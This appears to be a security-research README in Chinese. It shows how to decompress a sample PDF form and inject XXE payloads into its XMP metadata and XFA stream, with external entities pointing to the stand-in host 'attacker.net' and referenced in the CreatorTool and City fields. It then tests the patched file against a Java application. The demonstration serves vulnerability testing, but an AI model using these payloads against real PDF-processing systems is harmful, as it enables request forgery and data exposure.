获取包含表单的 PDF：
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
为此，你需要使用 qpdf --qdf --object-streams=disable input.pdf output.pdf 解压 PDF，然后便可以用文本编辑器编辑该 PDF 并添加恶意 XML。
你可以将 XXE 放入第 77 行的 XMP 元数据中：
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
当然，也要在某个地方放入引用，例如第 88 行：
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
你也可以向该文件添加一个常见的 XXE。 参见原始文档中的这一部分（从第 740 行开始）：
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
将其改为以下内容：
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
然后，只需在某个地方添加引用，例如添加到 City 字段（原始解压文档中的第 1845 行）。将：
<text
>City:</text
></value
>
改为：
<text
>City:</text
><xxe>&xxe;</xxe></value
>
你也可以在本仓库中找到同时包含这两种 XXE 的修补后 PDF（output_with_xxe.pdf）
运行 Java 应用程序，使用 mvn clean compile exec:java 测试该 PDF。